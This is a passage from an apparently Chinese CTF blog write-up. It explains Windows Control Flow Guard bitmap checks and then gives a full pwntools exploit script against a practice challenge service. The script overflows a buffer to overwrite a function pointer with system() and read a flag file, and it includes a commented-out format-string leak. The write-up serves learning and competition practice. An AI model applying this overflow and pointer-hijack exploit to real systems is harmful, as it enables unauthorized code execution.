  2. 如果func_addr的低4 bits不为0，也就是func_addr不是0x10对齐的，就会同时检查两个bit，一个是bit_offset & 0xFFFFFFFFFFFFFFFE，一个是bit_offset | 1，举个例子：

    • 如果func_addr = 0x101，那么检查bitoffset = 0x20以及``bitoffset = 0x21`；

    • 如果func_addr = 0x10F，那么检查bitoffset = 0x20以及``bitoffset = 0x21`；

      换句话说，在func_addr没有0x10对齐的情况下，最后判断的相应的bitmap中的bit是同样的，故结果也是同样的。
      且只有在这两个bit均为1的情况下，才能通过检查，否则都会判为无效，从而转入异常处理，也不会进行跳转。

  3. 如果func_addr的低4 bits为0，也就是func_addr是0x10对齐的，那么会先后检查bit_offset和bit_offset | 1，举个例子：

    • 如果func_addr = 0x100，那么检查bitoffset = 0x20；如果此时bit_offset对应的bit为0，则再给一次机会，检查bit_offset | 1是否为1；如果为1，那么目标地址有效，否则无效。

    换句话说，在func_addr是0x10对齐的情况下，只要bit_offset或bit_offset | 1的其中一个对应的bit是1，那么目标地址都是有效的。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux', 'splitw', '-h'])

debug = 0
leak = 1
if debug == 1:
    p = remote('192.168.44.175', 10003)
else:
    p = remote("node3.buuoj.cn",25676)

def choose(choice):
    p.sendlineafter("Choice? ", choice)

def Add(content, item):
    choose('a')
    p.sendlineafter("Target planet? ", content)
    p.sendlineafter("Type?", item)

def Edit(idx, content):
    choose('c')
    p.sendlineafter("ID? ", str(idx))
    p.sendlineafter("New target planet? ", content)

def Delete(idx):
    choose('d')
    p.sendlineafter("ID? ", str(idx))

def Attack():
    choose('ll')

def Pwn():
    # payload = 'a'*0xf0
    # Add(payload, 'd')
    #
    # payload = 'a'*0xff+'\x00'+"%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p"
    # Edit('0', payload)
    # raw_input()
    # Attack()
    # p.recvuntil('\r\n')
    # data = p.recvuntil('\r\n', drop=True)
    # a=data[84:96]
    # print('a:',a)
    # ucrt_addr = int(a, 16)
    # print('ucrt_addr:',hex(ucrt_addr))
    ucrt_base = 0x7ffa760e0000#ucrt_addr- 0xE59F8# 0x7ffc613a0000#ucrt_addr-0xeb590
    print("ucrt_addr:",hex(ucrt_base))

    system = ucrt_base + 0xA40C0
    Add('AAA', 'd')
    Edit(0, 'type,pwn\\flag.txt'.ljust(0x100, "\x00") + 'A' * 0xff + "\x00" + p64(system))
    Attack()
    # data = p.recv()
    # print('b:',b)
    raw_input()
    p.interactive()

Pwn()
赏

只要你支持她，我们就是好朋友2333

支付宝
微信

扫一扫，分享到微信

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

主要研究：
二进制安全、漏洞挖掘
CTF菜鸡一只

天枢Dubhe 学习ing